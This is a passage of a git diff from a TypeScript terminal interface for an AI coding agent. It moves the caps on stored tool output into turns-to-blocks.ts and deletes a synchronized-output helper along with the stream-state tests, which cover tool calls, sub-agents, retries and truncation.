test("builds an inbound message carrying the image bytes", () => { + const message = userInboundMessage("look", [image]); + expect(message.content).toBe("look"); + expect(message.attachments).toEqual([ + { name: "clipboard.png", contentType: "image/png", data: image.data }, + ]); + }); + + test("substitutes a prompt when only an image was submitted", () => { + expect(userInboundMessage("", [image]).content).toBe(IMAGE_ONLY_PROMPT); + }); +}); diff --git a/src/tui/sync-output.test.ts b/src/tui/sync-output.test.ts deleted file mode 100644 index 2b8a3abd0..000000000 --- a/src/tui/sync-output.test.ts +++ /dev/null @@ -1,50 +0,0 @@ -import { test, expect } from "bun:test"; -import { createSyncOutputWriter, supportsSynchronizedOutput } from "./sync-output.js"; - -function fakeStream(isTTY: boolean) { - const writes: string[] = []; - const stream = { - isTTY, - write: (chunk: string) => { - writes.push(chunk); - return true; - }, - } as unknown as NodeJS.WriteStream; - return { stream, writes }; -} - -test("supportsSynchronizedOutput reflects the stream's TTY capability", () => { - expect(supportsSynchronizedOutput(fakeStream(true).stream)).toBe(true); - expect(supportsSynchronizedOutput(fakeStream(false).stream)).toBe(false); -}); - -test("withSyncOutput wraps a TTY write in begin/end synchronized-update sequences", () => { - const { stream, writes } = fakeStream(true); - const withSyncOutput = createSyncOutputWriter(stream); - - withSyncOutput(() => stream.write("payload")); - - expect(writes).toEqual(["\x1b[?2026h", "payload", "\x1b[?2026l"]); -}); - -test("withSyncOutput skips the wrapper entirely on a non-TTY stream", () => { - const { stream, writes } = fakeStream(false); - const withSyncOutput = createSyncOutputWriter(stream); - - withSyncOutput(() => stream.write("payload")); - - expect(writes).toEqual(["payload"]); -}); - -test("withSyncOutput does not double-wrap nested calls", () => { - const { stream, writes } = fakeStream(true); - const withSyncOutput = createSyncOutputWriter(stream); - - withSyncOutput(() => { - stream.write("outer-start"); - withSyncOutput(() => stream.write("inner")); - stream.write("outer-end"); - }); - - expect(writes).toEqual(["\x1b[?2026h", "outer-start", "inner", "outer-end", "\x1b[?2026l"]); -}); diff --git a/src/tui/sync-output.ts b/src/tui/sync-output.ts deleted file mode 100644 index dcfc34c4a..000000000 --- a/src/tui/sync-output.ts +++ /dev/null @@ -1,36 +0,0 @@ -// DEC synchronized-output (mode 2026) wrapper for the handful of TUI writes -// that go straight to `process.stdout` outside Ink's own render loop (alt-screen -// enter/exit, mouse-reporting toggles in src/tui/runner.tsx). Ink 7 already -// wraps every one of its own frame writes in `\x1b[?2026h` / `\x1b[?2026l` -// (node_modules/ink/build/write-synchronized.js), so this exists only for -// writes Ink never sees, not as a replacement for Ink's own wrapping. - -const BEGIN_SYNCHRONIZED_UPDATE = "\x1b[?2026h"; -const END_SYNCHRONIZED_UPDATE = "\x1b[?2026l"; - -export function supportsSynchronizedOutput(stream: NodeJS.WriteStream): boolean { - return stream.isTTY === true; -} - -export function createSyncOutputWriter(stream: NodeJS.WriteStream) { - let depth = 0; - - return function withSyncOutput(write: () => void): void { - if (!supportsSynchronizedOutput(stream)) { - write(); - return; - } - - // A DEC-2026-aware terminal ignores a nested begin/end pair, but guarding - // here keeps this writer correct even against terminals that don't. - const isOutermost = depth === 0; - depth += 1; - try { - if (isOutermost) stream.write(BEGIN_SYNCHRONIZED_UPDATE); - write(); - } finally { - depth -= 1; - if (isOutermost) stream.write(END_SYNCHRONIZED_UPDATE); - } - }; -} diff --git a/src/tui/tool-formatter.test.ts b/src/tui/tool-formatter.test.ts index 4efc2e4d3..85912e669 100644 --- a/src/tui/tool-formatter.test.ts +++ b/src/tui/tool-formatter.test.ts @@ -19,7 +19,7 @@ describe("humanizeToolName", () => { expect(humanizeToolName("custom_tool")).not.toContain("_"); }); test("renders MCP tools as 'Server: tool name'", () => { - expect(humanizeToolName("mcp__acme__list_projects")).toBe("Acme: list projects"); + expect(humanizeToolName("mcp__acme__list_projects")).toBe("Acme: List Projects"); expect(humanizeToolName("mcp__acme__list_projects")).not.toContain("mcp__"); }); }); diff --git a/src/tui/turns-to-blocks.ts b/src/tui/turns-to-blocks.ts index 0c5d4ad9e..ccd35f400 100644 --- a/src/tui/turns-to-blocks.ts +++ b/src/tui/turns-to-blocks.ts @@ -1,15 +1,58 @@ import type { ContentBlock as RuntimeContentBlock, ConversationTurn } from "@intx/types/runtime"; import { applyManageTasks, parseManageTasksArgs, type Task } from "../agent/tasks.js"; -import { validateView } from "./view/index.js"; -import { - capStoredToolArguments, - capStoredToolResultContent, - type ContentBlockData, -} from "./use-stream.js"; +import { validateView, type ViewNode } from "./view/index.js"; type PlanBlockStep = { file: string; action: string; reason?: string }; +export type ContentBlockData = + | { type: "user"; content: string } + | { type: "thinking"; content: string } + | { type: "text"; content: string } + | { type: "tool_call"; callId?: string; name: string; arguments: string; startedAt?: number } + | { type: "tool_result"; callId: string; name: string; content: string; isError: boolean; finishedAt?: number } + | { type: "reply"; content: string } + | { type: "tasks"; tasks: Task[] } + | { type: "plan"; steps: PlanBlockStep[] } + | { type: "view"; node: ViewNode } + | { type: "error"; message: string }; + +// Ingress caps keep a single block from forcing a full-history wrap on every frame. +export const MAX_STORED_TOOL_RESULT_CHARS = 48_000; +export const MAX_STORED_TOOL_ARGUMENT_CHARS = 24_000; + +// Tool output pays off at the end (exit codes, error summaries, test totals), +// so the kept window anchors on the tail. Arguments are head-anchored because +// the meaningful prefix (command path, opening flags) comes first. +type CapAnchor = "head" | "tail"; + +function capWithOmissionSuffix( + content: string, + maxChars: number, + label: string, + anchor: CapAnchor = "head", +): string { + if (content.length <= maxChars) return content; + const omitted = content.length - maxChars; + const marker = `\n\n… ${omitted} characters omitted from ${label}`; + // The tail anchor also inserts a "\n\n" separator between the marker and the + // kept content, so its budget must reserve those two characters. Otherwise the + // result overshoots maxChars by 2, and a second cap on the already-capped + // string would slice through the first marker. + const separator = anchor === "tail" ? "\n\n" : ""; + const budget = maxChars - marker.length - separator.length; + const kept = anchor === "tail" ? content.slice(content.length - budget) : content.slice(0, budget); + return anchor === "tail" ? `${marker}${separator}${kept}` : `${kept}${marker}`; +} + +export function capStoredToolResultContent(content: string): string { + return capWithOmissionSuffix(content, MAX_STORED_TOOL_RESULT_CHARS, "stored tool output", "tail"); +} + +export function capStoredToolArguments(argumentsText: string): string { + return capWithOmissionSuffix(argumentsText, MAX_STORED_TOOL_ARGUMENT_CHARS, "stored tool arguments"); +} + function textFromBlocks(blocks: RuntimeContentBlock[]): string { const parts: string[] = []; let imageCount = 0; diff --git a/src/tui/use-stream.test.ts b/src/tui/use-stream.test.ts deleted file mode 100644 index b1d223147..000000000 --- a/src/tui/use-stream.test.ts +++ /dev/null @@ -1,1076 +0,0 @@ -import { describe, expect, spyOn, test } from "bun:test"; -import { EventEmitter } from "node:events"; -import { createElement } from "react"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import type { ReactorEmittedEvent } from "@intx/inference"; -import type { ConversationTurn } from "@intx/types/runtime"; -import { INFERENCE_ABORT_INTERNAL_RECOVERY } from "../inference-abort.js"; -import { createTurnContextCollector, RETAINED_TURN_CONTEXT_LIMIT } from "../session/hooks.js"; -import { - MAX_RETAINED_TRANSCRIPT_BYTES, - MAX_STORED_ASSISTANT_BLOCK_CHARS, - MAX_STORED_TOOL_ARGUMENT_CHARS, - MAX_STORED_TOOL_RESULT_CHARS, - capStoredToolResultContent, - createAgentStreamState, - settleSubAgentOnToolResult, - useAgentStream, - type AgentStreamView, - type ContentBlockData, -} from "./use-stream.js"; -import { resolveSessionSpinnerLabel } from "./session-chrome.js"; -import { turnsToContentBlocks } from "./turns-to-blocks.js"; - -function event(type: string, data: unknown): ReactorEmittedEvent { - return { type, seq: 1, data } as ReactorEmittedEvent; -} - -describe("createAgentStreamState", () => { - test("waits for every parallel tool before awaiting another response", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.start", { callId: "fast", name: "read_file" })); - state.addEvent(event("inference.tool_call.start", { callId: "slow", name: "run_shell" })); - state.addEvent(event("tool.done", { - result: { callId: "fast", content: "done", isError: false }, - })); - - expect(state.awaitingResponse).toBe(false); - - state.addEvent(event("tool.done", { - result: { callId: "slow", content: "done", isError: false }, - })); - - expect(state.awaitingResponse).toBe(true); - }); - - test("surfaces present view validation errors as tool_result", () => { - const state = createAgentStreamState(); - state.addEvent(event("inference.tool_call.end", { - callId: "present-1", - name: "present", - arguments: { view: { type: "not-a-primitive" } }, - })); - state.addEvent(event("tool.done", { - result: { callId: "present-1", content: "ok", isError: false }, - })); - const err = state.contentBlocks.find((b) => b.type === "tool_result" && b.isError); - expect(err).toMatchObject({ - type: "tool_result", - name: "present", - isError: true, - }); - expect(String((err as { content: string }).content)).toContain("present view validation failed"); - }); - - test("captures tool_call.end arguments for manage_tasks updates", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.end", { - callId: "call-1", - name: "manage_tasks", - arguments: { - action: "create", - tasks: [{ id: "t1", title: "Trace bug", status: "doing" }], - }, - })); - state.addEvent(event("tool.done", { - result: { callId: "call-1", content: "ok", isError: false }, - })); - - expect(state.tasks).toEqual([{ id: "t1", title: "Trace bug", status: "doing" }]); - expect(state.contentBlocks.some((block) => block.type === "tasks")).toBe(true); - expect(state.contentBlocks.some((block) => block.type === "tool_call" && block.name === "manage_tasks")).toBe(false); - }); - - test("hydrateHistory prepends resumed transcript ahead of live blocks", () => { - const state = createAgentStreamState(); - - // A block streamed into the fresh transcript before history lands. - state.addEvent(event("inference.text.delta", { token: "live" })); - - state.hydrateHistory([ - { type: "user", content: "first" }, - { type: "text", content: "past reply" }, - ]); - - expect(state.contentBlocks.map((b) => b.type)).toEqual(["user", "text", "text"]); - expect(state.contentBlocks[0]).toMatchObject({ type: "user", content: "first" }); - expect(state.contentBlocks[1]).toMatchObject({ type: "text", content: "past reply" }); - expect(state.contentBlocks[2]).toMatchObject({ type: "text", content: "live" }); - }); - - test("hydrateHistory caps resumed history at the retention limit", () => { - const state = createAgentStreamState(); - - // Resume a transcript larger than the retained tail. The old serial-pushBlock - // path trimmed as it seeded; prepending must enforce the same 600-block cap - // immediately, not defer it to the first post-resume push. - const resumed = Array.from({ length: 2000 }, (_, i) => ({ - type: "text" as const, - content: `turn ${i}`, - })); - state.hydrateHistory(resumed); - - expect(state.contentBlocks.length).toBe(600); - expect(state.trimmedBlockCount).toBe(1400); - // The most recent turns survive; the oldest are dropped from the front. - expect(state.contentBlocks[0]).toMatchObject({ content: "turn 1400" }); - expect(state.contentBlocks.at(-1)).toMatchObject({ content: "turn 1999" }); - - // A first post-resume message must not trigger a mass collapse: the cap was - // already enforced, so only the single incremental trim applies. - const trimmedBefore = state.trimmedBlockCount; - state.addEvent(event("message.received", { message: { content: "hello" } })); - expect(state.trimmedBlockCount).toBe(trimmedBefore + 1); - expect(state.contentBlocks.length).toBe(600); - }); - - test("streams text deltas into the active text block", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.text.delta", { token: "hel" })); - state.addEvent(event("inference.text.delta", { token: "lo" })); - - expect(state.streamingType).toBe("text"); - expect(state.awaitingResponse).toBe(false); - expect(state.contentBlocks).toMatchObject([{ type: "text", content: "hello" }]); - }); - - test("caps oversized tool results at ingress", () => { - const state = createAgentStreamState(); - const huge = "x".repeat(MAX_STORED_TOOL_RESULT_CHARS + 5_000); - - state.addEvent(event("inference.tool_call.end", { - callId: "call-huge", - name: "read_file", - arguments: { path: "big.txt" }, - })); - state.addEvent(event("tool.done", { - result: { callId: "call-huge", content: huge, isError: false }, - })); - - const result = state.contentBlocks.find((b) => b.type === "tool_result"); - expect(result?.type).toBe("tool_result"); - if (result?.type !== "tool_result") return; - expect(result.content.length).toBeLessThan(huge.length); - expect(result.content).toContain("characters omitted from stored tool output"); - // Tail-anchored: the suffix of a long shell dump is what the user needs - // (exit codes, totals) — verify the tail survives and the head is dropped. - expect(result.content.endsWith(huge.slice(-200))).toBe(true); - expect(capStoredToolResultContent(huge).length).toBeLessThan(huge.length); - }); - - test("streaming text cap appends an omission marker on the crossing frame", () => { - const state = createAgentStreamState(); - const callId = "stream-text"; - const tokenA = "a".repeat(100); - const tokenB = "b".repeat(200_000); - - state.addEvent(event("inference.text.delta", { token: tokenA })); - // Second token blows well past MAX_STORED_ASSISTANT_BLOCK_CHARS. - state.addEvent(event("inference.text.delta", { token: tokenB })); - state.addEvent(event("inference.text.delta", { token: "ignored tail" })); - - const block = state.contentBlocks.find((b) => b.type === "text"); - expect(block?.type).toBe("text"); - if (block?.type !== "text") return; - expect(block.content).toContain("additional streaming content omitted"); - expect(block.content.endsWith("ignored tail")).toBe(false); - }); - - test("caps the retained block tail and reports the trimmed count", () => { - const state = createAgentStreamState(); - - // Drive well past the retention cap with distinct tool_call/result pairs so - // every event pushes a fresh block rather than appending to the last one. - for (let i = 0; i < 400; i++) { - state.addEvent(event("inference.tool_call.end", { - callId: `call-${i}`, - name: "read_file", - arguments: { path: `f${i}.ts` }, - })); - state.addEvent(event("tool.done", { - result: { callId: `call-${i}`, content: `result ${i}`, isError: false }, - })); - } - - expect(state.contentBlocks.length).toBeLessThanOrEqual(600); - expect(state.trimmedBlockCount).toBeGreaterThan(0); - // The most recent work is always retained; the oldest is what gets dropped. - const last = state.contentBlocks.at(-1); - expect(last?.type).toBe("tool_result"); - }); - - test("joins fragmented text into a single settled block", () => { - const state = createAgentStreamState(); - - const fragments = Array.from({ length: 5_000 }, (_, i) => `f${i} `); - for (const fragment of fragments) { - state.addEvent(event("inference.text.delta", { token: fragment })); - } - - const block = state.contentBlocks.find((b) => b.type === "text"); - expect(block?.type).toBe("text"); - if (block?.type !== "text") return; - expect(block.content).toBe(fragments.join("")); - }); - - test("joins fragmented reasoning into a single settled block", () => { - const state = createAgentStreamState(); - - const fragments = Array.from({ length: 5_000 }, (_, i) => `r${i} `); - for (const fragment of fragments) { - state.addEvent(event("inference.thinking.delta", { token: fragment })); - } - - const block = state.contentBlocks.find((b) => b.type === "thinking"); - expect(block?.type).toBe("thinking"); - if (block?.type !== "thinking") return; - expect(block.content).toBe(fragments.join("")); - }); - - test("accumulates fragmented tool arguments in one place", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.start", { callId: "call-args", name: "run_shell" })); - const pieces = ['{"comm', 'and":"', "echo ", 'hi"}']; - for (const piece of pieces) { - state.addEvent(event("inference.tool_call.delta", { argumentFragment: piece })); - } - - const streamed = state.contentBlocks.find((b) => b.type === "tool_call"); - expect(streamed?.type).toBe("tool_call"); - if (streamed?.type !== "tool_call") return; - expect(streamed.arguments).toBe('{"command":"echo hi"}'); - - state.addEvent(event("inference.tool_call.end", { callId: "call-args", name: "run_shell" })); - state.addEvent(event("tool.done", { - result: { callId: "call-args", content: "hi", isError: false }, - })); - - const result = state.contentBlocks.find((b) => b.type === "tool_result"); - expect(result?.type).toBe("tool_result"); - }); - - test("ingesting fragments scales near-linearly with fragment count", () => { - const runFragments = (count: number): number => { - const state = createAgentStreamState(); - const start = performance.now(); - for (let i = 0; i < count; i++) { - state.addEvent(event("inference.text.delta", { token: "abcd " })); - // Drain once per batch, as the display loop does — this is where a - // per-fragment concat would turn quadratic. - void state.contentBlocks.length; - } - void state.contentBlocks.length; - return performance.now() - start; - }; - - const base = Math.max(runFragments(20_000), 1); - const quadruple = runFragments(80_000); - // Quadratic ingestion would push this ratio toward 16x; linear stays near - // 4x. A generous ceiling keeps the guard meaningful without flaking on CI. - expect(quadruple / base).toBeLessThan(10); - }); - - test("caps a multi-megabyte non-streamed reply", () => { - const state = createAgentStreamState(); - const huge = "z".repeat(5_000_000); - - state.addEvent(event("connector.reply", { content: huge })); - - const block = state.contentBlocks.find((b) => b.type === "text"); - expect(block?.type).toBe("text"); - if (block?.type !== "text") return; - expect(block.content.length).toBeLessThanOrEqual(MAX_STORED_ASSISTANT_BLOCK_CHARS); - expect(block.content).toContain("characters omitted from stored assistant text"); - }); - - test("settles retained content under the byte budget for a huge history", () => { - const state = createAgentStreamState(); - - const chunk = "y".repeat(MAX_STORED_TOOL_RESULT_CHARS); - for (let i = 0; i < 500; i++) { - state.addEvent(event("inference.tool_call.end", { - callId: `call-${i}`, - name: "read_file", - arguments: { path: `f${i}.ts` }, - })); - state.addEvent(event("tool.done", { - result: { callId: `call-${i}`, content: chunk, isError: false }, - })); - } - - const retainedBytes = state.contentBlocks.reduce((sum, b) => { - if (b.type === "tool_result" || b.type === "text" || b.type === "thinking") return sum + b.content.length; - if (b.type === "tool_call") return sum + b.arguments.length; - return sum; - }, 0); - expect(retainedBytes).toBeLessThanOrEqual(MAX_RETAINED_TRANSCRIPT_BYTES); - expect(state.trimmedBlockCount).toBeGreaterThan(0); - expect(state.contentBlocks.at(-1)?.type).toBe("tool_result"); - }); - - test("caps resumed assistant text and releases the original payload after hydration", () => { - // Tool blocks arrive already capped from the producer, so hydration only - // owns the assistant text/thinking caps the producer leaves untouched. - const initial: ContentBlockData[] = [ - { type: "text", content: "t".repeat(MAX_STORED_ASSISTANT_BLOCK_CHARS + 50_000) }, - ]; - - const state = createAgentStreamState([], undefined, initial); - - // The hydration payload is drained so its large strings can be reclaimed. - expect(initial).toHaveLength(0); - - const text = state.contentBlocks.find((b) => b.type === "text"); - expect(text?.type === "text" && text.content.length).toBeLessThanOrEqual(MAX_STORED_ASSISTANT_BLOCK_CHARS); - expect(text?.type === "text" && text.content).toContain("characters omitted from stored assistant text"); - }); - - test("hydrating an oversized resumed tool result keeps a single omission marker", () => { - // Regression: the producer tail-caps tool_result content, and hydration - // must not re-cap it. A second cap cut through the first omission marker, - // yielding a false "… 2 characters omitted" and a garbled marker header. - const turns: ConversationTurn[] = [{ - role: "assistant", - content: [ - { type: "tool_call", id: "c1", name: "run_shell", arguments: { command: "ls" } }, - { type: "tool_result", callId: "c1", content: [{ type: "text", text: "b".repeat(MAX_STORED_TOOL_RESULT_CHARS + 50_000) }], isError: false }, - ], - model: "test", - timestamp: 0, - }]; - - const initial = turnsToContentBlocks(turns); - const state = createAgentStreamState([], undefined, initial); - - const result = state.contentBlocks.find((b) => b.type === "tool_result"); - const content = result?.type === "tool_result" ? result.content : ""; - const markerCount = content.split("characters omitted from stored tool output").length - 1; - expect(markerCount).toBe(1); - expect(content).not.toContain("… 2 characters omitted"); - expect(content.length).toBeLessThanOrEqual(MAX_STORED_TOOL_RESULT_CHARS); - }); - - test("surfaces the active tool while a tool call is running", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.end", { - callId: "call-2", - name: "run_shell", - arguments: { command: "bun test" }, - })); - - expect(state.currentToolName).toBe("run_shell"); - expect(state.streamingType).toBe("tool"); - }); - - test("tracks sub-agent task calls separately from managed tasks", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.end", { - callId: "call-3", - name: "task", - arguments: { agent: "greybeard", description: "review correctness", prompt: "..." }, - })); - - expect(state.subAgents).toEqual([{ id: "call-3", title: "greybeard: review correctness", status: "doing" }]); - expect(state.tasks).toEqual([]); - - state.addEvent(event("tool.done", { - result: { callId: "call-3", content: "ok", isError: false }, - })); - - // Completed sub-agents are never rendered, so they are pruned rather than - // retained for the rest of the session. - expect(state.subAgents).toEqual([]); - }); - - test("noteSubAgentProgress updates status tool name and agents strip annotation", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.end", { - callId: "call-progress", - name: "task", - arguments: { agent: "greybeard", description: "map callers", prompt: "..." }, - })); - - const blocksBefore = state.contentBlocks.length; - state.noteSubAgentProgress({ description: "map callers", toolName: "grep" }); - - expect(state.currentToolName).toBe("grep"); - expect(state.streamingType).toBe("tool"); - expect(state.subAgents).toEqual([ - { id: "call-progress", title: "greybeard: map callers · grep", status: "doing" }, - ]); - // Progress must not inject sub-agent transcript into the parent content. - expect(state.contentBlocks.length).toBe(blocksBefore); - - state.noteSubAgentProgress({ description: "map callers", toolName: "read_file" }); - expect(state.subAgents[0]?.title).toBe("greybeard: map callers · read_file"); - expect(state.currentToolName).toBe("read_file"); - }); - - test("keeps failed sub-agent calls but prunes ones that finish cleanly", () => { - const state = createAgentStreamState(); - - for (let i = 0; i < 200; i++) { - state.addEvent(event("inference.tool_call.end", { - callId: `sub-${i}`, - name: "task", - arguments: { agent: "worker", description: `job ${i}`, prompt: "..." }, - })); - state.addEvent(event("tool.done", { - result: { callId: `sub-${i}`, content: "ok", isError: i === 199 }, - })); - } - - // Failed sub-agents drop from the strip like successes; only non-terminal - // entries (doing) would remain. - expect(state.subAgents).toEqual([]); - }); - - test("labels sub-agents without a named profile as worker", () => { - const state = createAgentStreamState(); - - state.addEvent(event("inference.tool_call.end", { - callId: "call-4", - name: "task", - arguments: { description: "map callers of X", prompt: "..." }, - })); - - expect(state.subAgents).toEqual([{ id: "call-4", title: "worker: map callers of X", status: "doing" }]); - }); - - test("inference.retry drops sub-agent strip entries for rolled-back tool calls", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.start", {})); - state.addEvent(event("inference.tool_call.end", { - callId: "task-rolled-back", - name: "task", - arguments: { agent: "critique", description: "review branch", prompt: "..." }, - })); - expect(state.subAgents).toEqual([ - { id: "task-rolled-back", title: "critique: review branch", status: "doing" }, - ]); - - // Retry rewinds to the attempt boundary: the streamed task call never ran. - state.addEvent(event("inference.retry", {})); - expect(state.subAgents).toEqual([]); - }); - - test("requestStop drops in-flight sub-agent strip entries", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.tool_call.end", { - callId: "task-aborted", - name: "task", - arguments: { agent: "critique", description: "review branch", prompt: "..." }, - })); - expect(state.subAgents).toHaveLength(1); - - state.requestStop(); - expect(state.subAgents).toEqual([]); - }); - - test("settleSubAgentOnToolResult clears strip when name map is lost", () => { - // Simulate the mid-flight state where callId→name was wiped (retry / partial - // bookkeeping) but the Agents fallback still holds a "doing" entry. - const agents = [ - { id: "call-lost-name", title: "critique: Re-review feature branch", status: "doing" as const }, - ]; - const next = settleSubAgentOnToolResult( - agents, - "call-lost-name", - undefined, // name map miss → toolName unknown - false, - "critique: Re-review feature branch", - ); - expect(next).toEqual([]); - }); - - test("settleSubAgentOnToolResult ignores unrelated tool results", () => { - const agents = [ - { id: "call-task", title: "worker: map", status: "doing" as const }, - ]; - const next = settleSubAgentOnToolResult(agents, "other-call", "run_shell", false, "worker"); - expect(next).toEqual(agents); - }); - - test("requestStop clears quota wait after quota_exhausted inference.error", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.error", { - error: { category: "quota_exhausted", message: "rate limited", retryAfterMs: 5000 }, - })); - - expect(state.status).toBe("failed"); - expect(state.quotaError).not.toBeNull(); - - state.requestStop(); - - expect(state.quotaError).toBeNull(); - expect(state.status).toBe("stopped"); - expect(state.isProcessing).toBe(false); - }); - - test("inference.retry exposes gateway retry countdown state", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.retry", { attempt: 2, delayMs: 12_000, previousError: { category: "retryable", message: "503" } })); - - expect(state.inferenceRetry).toMatchObject({ attempt: 2, delayMs: 12_000 }); - expect(state.inferenceRetry?.retryAt).toBeGreaterThan(Date.now()); - - state.addEvent(event("inference.start", { model: "test" })); - expect(state.inferenceRetry).toBeNull(); - }); - - test("HTML gateway protocol_mismatch does not render a terminal error block", () => { - const html503 = "503 Service Unavailable Cloudflare"; - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.error", { - error: { - category: "protocol_mismatch", - message: "malformed JSON in SSE data payload", - raw: html503, - }, - })); - - expect(state.contentBlocks.some((b) => b.type === "error")).toBe(false); - expect(state.status).toBe("running"); - }); - - test("requestStop finalizes an in-flight tool_call so it stops rendering as running", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.tool_call.start", { callId: "call-live", name: "run_shell" })); - - // The call has no result yet — it would spin forever if the abort left it be. - expect(state.contentBlocks.some((b) => b.type === "tool_result" && b.callId === "call-live")).toBe(false); - - state.requestStop(); - - const result = state.contentBlocks.find((b) => b.type === "tool_result" && b.callId === "call-live"); - expect(result?.type).toBe("tool_result"); - expect(result?.type === "tool_result" && result.isError).toBe(true); - // Every tool_call now has a matching result: nothing is left pending. - const calls = state.contentBlocks.filter((b) => b.type === "tool_call"); - for (const call of calls) { - const callId = call.type === "tool_call" ? (call.callId ?? call.id) : ""; - expect(state.contentBlocks.some((b) => b.type === "tool_result" && b.callId === callId)).toBe(true); - } - }); - - test("reactor.error finalizes an outstanding tool_call", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.tool_call.start", { callId: "call-err", name: "read_file" })); - state.addEvent(event("reactor.error", { fatal: true, error: "boom" })); - - expect(state.status).toBe("failed"); - expect(state.isProcessing).toBe(false); - expect(state.streamingType).toBeNull(); - expect(state.contentBlocks.some((b) => b.type === "tool_result" && b.callId === "call-err")).toBe(true); - }); - - test("reactor.done clears isProcessing even without connector.reply", () => { - const state = createAgentStreamState(); - state.markRunning(); - expect(state.isProcessing).toBe(true); - - state.addEvent(event("reactor.done", {})); - - expect(state.status).toBe("done"); - expect(state.isProcessing).toBe(false); - expect(state.awaitingResponse).toBe(false); - }); - - test("terminal inference.error clears isProcessing", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.error", { - error: { category: "provider", message: "hard failure" }, - })); - - expect(state.status).toBe("failed"); - expect(state.isProcessing).toBe(false); - }); - - test("non-terminal inference.error keeps isProcessing so a retry can continue", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.error", { - error: { category: "timeout", message: "slow" }, - })); - - // Transient: status stays running-ish (not failed) and processing remains. - expect(state.status).not.toBe("failed"); - expect(state.isProcessing).toBe(true); - }); - - test("terminal inference.error after thinking clears processing chrome", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.thinking.delta", { token: "hmm" })); - - expect(resolveSessionSpinnerLabel({ - isProcessing: state.isProcessing, - status: state.status, - awaitingResponse: state.awaitingResponse, - currentToolName: state.currentToolName, - streamingType: state.streamingType, - })).toBe("Thinking…"); - - state.addEvent(event("inference.error", { - error: { category: "protocol_mismatch", message: "bad payload" }, - })); - - expect(state.status).toBe("failed"); - expect(state.isProcessing).toBe(false); - expect(state.streamingType).toBeNull(); - expect(resolveSessionSpinnerLabel({ - isProcessing: state.isProcessing, - status: state.status, - awaitingResponse: state.awaitingResponse, - currentToolName: state.currentToolName, - streamingType: state.streamingType, - })).toBeUndefined(); - }); - - test("reactor.done without connector.reply clears processing chrome", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.thinking.delta", { token: "plan" })); - state.addEvent(event("reactor.done", {})); - - expect(state.status).toBe("done"); - expect(state.isProcessing).toBe(false); - expect(state.streamingType).toBeNull(); - }); - - test("connector.reply still clears processing after streaming", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.text.delta", { token: "hi" })); - state.addEvent(event("connector.reply", { content: "" })); - - expect(state.isProcessing).toBe(false); - }); - - test("retryable inference.error leaves processing chrome until terminal settle", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.thinking.delta", { token: "x" })); - state.addEvent(event("inference.error", { - error: { category: "retryable", message: "transient" }, - })); - - expect(state.status).toBe("running"); - expect(state.isProcessing).toBe(true); - expect(state.streamingType).toBe("thinking"); - }); - - test("finalizing does not double-resolve a call that already completed", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.tool_call.start", { callId: "call-done", name: "read_file" })); - state.addEvent(event("tool.done", { result: { callId: "call-done", content: "ok", isError: false } })); - - state.requestStop(); - - const results = state.contentBlocks.filter((b) => b.type === "tool_result" && b.callId === "call-done"); - expect(results).toHaveLength(1); - expect(results[0]?.type === "tool_result" && results[0].isError).toBe(false); - }); - - test("a duplicate tool.done for the same callId does not push a second tool_result block", () => { - // Regression: the reactor's retry loop can re-emit a completed cycle's - // tool.done alongside the retried cycle's own tool.done for the same - // call, which previously produced two tool_result blocks for one call. - const state = createAgentStreamState(); - state.addEvent(event("inference.tool_call.start", { callId: "call-dup", name: "read_file" })); - state.addEvent(event("tool.done", { result: { callId: "call-dup", content: "first", isError: false } })); - state.addEvent(event("tool.done", { result: { callId: "call-dup", content: "first", isError: false } })); - - const results = state.contentBlocks.filter((b) => b.type === "tool_result" && b.callId === "call-dup"); - expect(results).toHaveLength(1); - }); - - test("inference.retry discards the blocks streamed by the failed attempt", () => { - // Regression: the reactor restarts inferenceRunner from scratch on a - // same-source or failover retry, re-streaming inference.start through - // whatever content the failed attempt already committed. inference.retry - // is the marker the reactor emits before restarting; the transcript must - // roll back to the attempt boundary so the retried attempt's own content - // is not appended on top of the discarded one. - const state = createAgentStreamState(); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "partial reply from the failed attempt" })); - state.addEvent(event("inference.retry", { attempt: 1, delayMs: 0, previousError: { category: "quota_exhausted", message: "429" } })); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "final reply" })); - - const textBlocks = state.contentBlocks.filter((b) => b.type === "text"); - expect(textBlocks).toHaveLength(1); - expect(textBlocks[0]?.type === "text" && textBlocks[0].content).toBe("final reply"); - }); - - test("a harness pre-commit inference.retry does not splice away the previous cycle's blocks", () => { - // The harness emits inference.retry for uncommitted attempts, discarding - // the failed attempt's buffered inference.start — so the event reaches - // the TUI before any inference.start for its cycle. At that moment the - // rollback boundary still describes the previous, completed cycle; - // splicing there would destroy settled text and tool results. - const state = createAgentStreamState(); - // Cycle 1 completes normally with text and a tool result. - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "settled reply" })); - state.addEvent(event("inference.tool_call.start", { callId: "call-1", name: "read_file" })); - state.addEvent(event("inference.tool_call.end", { callId: "call-1", name: "read_file", arguments: { 